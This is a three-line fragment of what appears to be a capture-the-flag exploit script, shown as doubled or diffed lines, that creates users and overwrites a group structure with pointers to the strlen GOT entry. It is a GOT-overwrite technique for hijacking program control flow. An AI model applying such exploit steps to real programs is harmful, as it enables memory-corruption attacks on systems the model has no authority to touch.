add_user('b'*32, 'B'*4) # group add_user('b'*8, 'B'*4) # group
strlen_got = elf.got['strlen'] strlen_got = elf.got['strlen']
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got)) edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))